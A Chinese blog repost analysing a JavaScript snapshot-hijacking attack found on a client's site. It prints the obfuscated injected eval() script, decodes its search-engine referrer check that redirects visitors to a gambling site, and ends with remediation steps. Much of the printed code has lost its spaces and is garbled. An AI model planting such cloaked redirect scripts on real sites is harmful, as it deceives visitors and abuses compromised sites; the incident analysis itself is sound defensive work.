本站所有内容仅限用于学习和研究目的,如有侵权请邮件与我们联系处理!
世上事本无难易,为之则易!

网站首页 站群教程 引流跳转代码 正文

JS快照劫持代码分析

曹操 2020-04-29 引流跳转代码 1808 ℃ 0 评论 7176字 free 收藏

本文转载于CSDN博客,尚不清楚是否为原创。本文由浅至深认真分析了JS快照劫持的代码,值得大家学习了解!

一.前言

在一次对客户给的资产做渗透测试的时候发现了有外挂bc页面的链接,心血来潮想搞清楚其原理,顺便将研究的过程分享给大家。

首先,SEO分为黑帽SEO和白帽SEO

黑帽SEO通常采用搜索引擎禁止的方式优化网站,影响搜索引擎对网站排名的合理和公正性。黑帽SEO包括很多很多手法,技术含量也要求很高。比如:流量劫持、快照劫持、泛域名、泛ip、变种ip、目录链轮、新闻源劫持、寄生虫程序、get程序、无限页面链轮等等,而且技术会层出不穷,捉摸不透。但随时会因为搜索引擎算法的改变而面临惩罚。

白帽SEO就是通过合理优化网站,从而提高用户的体验。通过合理与其他网站互联使站点在搜索引擎排名提升。可以理解为是正常渠道。

二.正文

(1)发现问题

这次研究的是快照劫持之一的js快照劫持。

先普及一下知识点:快照劫持、搜索跳转其实是黑帽SEO利用站中站脚本自动繁殖文章“能熟练应用快照劫持(流量、爬虫、权重)搜索跳转到自动繁殖文章(站中站脚本)做自己关键词获取定向流量的方法”搜索引擎快照劫持是通过代码来判断和识别蜘蛛访问的,若正常访问,则给出正常内容,若判断到是搜素引擎来访问,就给出另一个页面,使搜素引擎抓取快照进行改变,之后判断来路跳转。

以下是本次案例记录:

首先当我们在百度中搜索ip的时候发现了这样一幕:(客户资产打码见谅)

从这个页面中可以看出来此处就是属于百度快照劫持,点击后便跳转到了bc网站:https://www.某域名.cn/

这时候可以重新在百度里搜索这个网站,能够发现还有其余受害者TNT。

通过点击他们的链接均可以跳转到bc网站。

(2)初步分析

首先想到的是在首页可能被植入了恶意代码,那我们在首页用ctrl+u来看一下页面源代码:

经过分析,发现图中TDK的信息存在篡改且被加密了,加密的是中文标题、关键、描述,加密的格式经过判断为Unicode编码加密,将这三个依次解密后如下图所示发现被篡改信息。

我一般用站长在线解密工具地址如下:http://tool.chinaz.com/tools/unicode.aspx

(3)JS解密

继续往下分析可以发现,首页源代码被插入了一条js代码,这里将js代码格式贴出来供大家参考一下:

<scripttype="text/javascript">
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){returnd[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(newRegExp('\\b'+e(c)+'\\b','g'),k[c]);returnp;}('o["\\e\\c\\1\\n\\f\\8\\m\\0"]["\\7\\3\\9\\0\\8"](\'\\g\\2\\1\\3\\9\\4\\0\\0\\k\\4\\8\\d\\6\\0\\8\\l\\0\\5\\h\\a\\j\\a\\2\\1\\3\\9\\4\\0\\6\\2\\3\\1\\d\\6\\s\\0\\0\\4\\2\\t\\5\\5\\7\\7\\7\\b\\u\\1\\e\\a\\2\\r\\b\\1\\c\\f\\5\\j\\q\\p\\b\\h\\2\\6\\i\\g\\5\\2\\1\\3\\9\\4\\0\\i\');',31,31,'x74|x63|x73|x72|x70|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6d|x3c|x6a|x3e|x76|x79|x78|x6e|x75|window|x31|x36|x38|x68|x3a|x62'.split('|'),0,{}))
</script>

发现这个js是个经过加密的密文,我们这里采用站长工具解密JS:

通过图片可以发现解密后的内容依然是被加密的,入门的同学应该能看出来这里的加密方式吧。没错!就是16进制加密,接下来通过16进制字符串编码解码得到下图消息:

通过这个得到了js跳转的https链接:https://www.某域名.com/v61.js。

PS:这里提供16进制字符串编码解码的网站以及js解密的三种解密的方式:

1.16进制解码我觉得这个网站的用起来很舒服:http://snapi.sinaapp.com/(因为有些网站将上述window{...}放进去后无法过滤非16进制字符,而这个网站可以识别16进制字符进行转换后输出,不用挨个复制解密。)

2.在线方式:最常用的是站长工具àJS混淆加密压缩

3.第二简单的方式:将eval直接替换成document.write,将代码输出

document.write("<xmp>");
/*eval*/document.write("function(){.....代码}");
document.write("</xmp>");

4.本地方式:可以将下列代码保存为HTML格式文件保存到本地,将下面js代码复制进去点击解码即可,对于懒得打开站长工具的来说确实很方便。

<!DOCTYPEhtmlPUBLIC"-//W3C//DTDXHTML1.0Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<htmlxmlns="http://www.w3.org/1999/xhtml">
<head>
<metahttp-equiv="Content-Type"content="text/html;charset=utf-8"/>
<title>JS解密</title>
</head>
<body>
<script>
a=62;
functionencode(){
varcode=document.getElementById('code').value;
code=code.replace(/[]+/g,'');
code=code.replace(/'/g,"\'");
vartmp=code.match(/(w+)/g);
tmp.sort();
vardict=[];
vari,t='';
for(vari=0;i<tmp.length;i++){
if(tmp[i]!=t)dict.push(t=tmp[i]);
}
varlen=dict.length;
varch;
for(i=0;i<len;i++){
ch=num(i);
code=code.replace(newRegExp('\b'+dict[i]+'\b','g'),ch);
if(ch==dict[i])dict[i]='';
}
document.getElementById('code').value="eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){returnd[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(newRegExp('\\b'+e(c)+'\\b','g'),k[c]);returnp}("
+"'"+code+"',"+a+","+len+",'"+dict.join('|')+"'.split('|'),0,{}))";
}
functionnum(c){
return(c<a?'':num(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36));
}
functionrun(){
eval(document.getElementById('code').value);
}
functiondecode(){
varcode=document.getElementById('code').value;
code2=code.replace(/^eval/,'');
//alert(code);
document.getElementById('code').value=eval(code2);
}
</script>
<textareaid=codecols=80rows=20>
</textarea>
<inputtype=buttonοnclick=encode()value=编码>
<inputtype=buttonοnclick=run()value=执行>
<inputtype=buttonοnclick=decode()value=解码>
</body>
</html>

(4)深入研究

这里我们开始继续研究上节解密后跳转的链接:https://www.bcdas8.com/v61.js,打开浏览器将链接放入跳转后便能看到下列js语句:

简单解读一下该语句:

document.writeln("vars=document.referrer");
/*获取当前网页超链接的地址url,并把此url的值赋给s*/
document.writeln("if(s.indexOf(\"baidu\")>0||s.indexOf(\"sogou\")>0||s.indexOf(\"soso\")>0||s.indexOf(\"sm\")>0||s.indexOf(\"uc\")>0||s.indexOf(\"bing\")>0||s.indexOf(\"yahoo\")>0||s.indexOf(\"so\")>0)");

/*这里的indexOf是一个方法s.indexOf(\"baidu"\)的意思是获取"baidu"在s中的下标,如果s中包含"baidu",就会得到一个int类型的数。

||是或的意思。

if()中的意思是:当前网页的url地址包含baidu或sogou或soso或sm等的时候,继续其他语句。*/

document.writeln("location.href=\"https://www.daswnsr.com/\";");

/*这里的location.href="/url"是当前页面打开URL页面,属于本页面跳转。*/

PS:这里可以延伸一下,便于遇到不同情况理解跳转的原理,js跳转有很多用法:

1.self.location.href="/url"当前页面打开URL页面;

2.this.location.href="/url"当前页面打开URL页面

3.parent.location.href="/url"在父页面(上一层页面)打开新页面

4.top.location.href="/url"在顶层(最外层)页面打开新页面

5.location.href="/url"当前页面打开URL页面

6.window.location.href="/url"当前页面打开URL页面

通过理解这个js语句便可以了解到这是一个先判断再跳转的js。当用搜索引擎访问的时候就会匹配上从而跳转到下一个链接,当浏览器中直接输入网站地址时则显示正常页面,从而提高隐蔽性。

接下来我们再看一下这个网站的主页:

确认这只是一个用来跳转到下一个地址的中转站。也可以理解为有可能存在很多被挂了js跳转的链接都先跳转到此网站再统一跳转到下一个网站,这样的做法就是为了收录。拿这个案例来说:

通过site搜索该网站可以看到博彩网排名第一:site:www.***.com.cn/。相信排名第一的好处就不用多说了吧^_^。

最后回归我们正题,点击上述js文件跳转的链接,通过burp抓包截断查看页面源代码可以看到该页面通过跳转到/zh-cn以及/zh-cn/后就直接跳转到了https://www.xxx.com/之后跳转到了https://www.xxx.com/cn/目录

这里解读一下js代码中的这一条:

<metahttp-equiv="refresh[刷新-这里指定动作]"
content="0.1[这里是时间];
url=/cn[这里是跳转的URL]">

可以发现这都是刷新后再0.1秒内自动跳转的意思。

接下来可能会有小伙伴对于跳转到这个/zh-cn/后,直接就跳转到bc网站有疑惑,我当时也有同样的疑惑,因为到这里burp就再没有抓到数据包,于是我便用burp把获取到的数据包发送到Reperter后,主动请求后从响应包中成功获取到了跳转的js地址:

打开链接后联系上面所讲述的内容可以发现,js中的最后一条window.location=siteAry[_index];立刻跳转到数组中定义的页面,也就是博彩页面啦。

三.总结

后记,所有被挂了跳转链接的网页中绝大多数都是建立在网站被getshell的基础上的,所以当你在维护网站的时候不能仅仅只删除js代码还要系统性的对网站内的文件进行对比找出后门,不然只是治标不治本。

下面给几条遇到该问题时的解决方法:

1.看网站目录内有没有被上传的tools目录或tools类型文件。

2.校验文件-修改替换原始文件-设定404-举报/更新快照。

3.排查程序所有upload的功能,是否有漏洞,以及排查已经上传的文件是否有伪装为jpg之类的可执行文件。

4.检查所有程序文件,删除非项目中的文件。

5.排查进程是否有可疑的,找到进程文件,然后结束进程,想办法删除文件。

6.使用安全狗或者防火墙,对外打开cdn加速。

到这里我们这次的js快照劫持代码分析以及针对如何跳转的溯源就到这里啦,希望这次写的文章能让大家系统性的了解到js的劫持方式以及跳转原理。

当各位管理员或者运维人员遇到此情况时能迅速排查问题,找出原因,并对网站进行加固。接下来我还会根据项目中遇到的这类事件进行真实案例针对性分析,希望能够让不了解的同学们对这个了解,了解一点的人懂得该如何去防范。

这几天最流行这句话:BUG是代码产生的,代码是人写的,所以人才是最大的漏洞。所以看完这个文章如果有什么建议和疑问都可以留言,有建议我会采纳并改进,有疑问我也会在我能力范围内给你合理的解释。End。

版权声明:本文为CSDN博主「疯狂棒棒糖7」的原创文章,遵循CC4.0BY-SA版权协议。

目录导航
  • 一.前言
  • 二.正文
      • (1)发现问题
      • (2)初步分析
      • (3)JS解密
      • (4)深入研究
  • 三.总结

  • Tags:劫持代码引流代码

    必看说明

    • 本站中所有被研究的素材与信息全部来源于互联网,版权争议与本站无关。
    • 本站文章或仅为文本内容原创,非程序原创。如有侵权、不妥之处,请联系站长第一时间删除。敬请谅解!
    • 本站所有内容严格遵守国家法律的条例,所有研究的算法技术均来源于搜索引擎公开默认允许用户研究使用的接口。
    • 阅读本文及获取资源前,请确保您已充分阅读并理解《访问曹操SEO网站需知:行为准则》。
    • 本站分享的任何工具、程序仅供学习参考编写架构,仅可在本地的虚拟机内断网测试,严禁联网运行或上传搭建!
    • 任何资源必须在下载后24个小时内,从电脑中彻底删除。不得传播或者用于其他任何用途!否则一切后果用户自负!
    • 转载请注明 : 文章转载自  曹操SEO JS快照劫持代码分析
    • 本文标题:《JS快照劫持代码分析》
    • 本文链接:https://www.ccooc.cn/851.html

    本文暂时没有评论,来添加一个吧(●'◡'●)

    欢迎 发表评论:

    网站分类
    近期评论
    文章归档
    标签列表
    站点信息
    • 文章总数:2021
    • 页面总数:7
    • 分类总数:46
    • 标签总数:340
    • 评论总数:8891
    • 浏览总数:5165013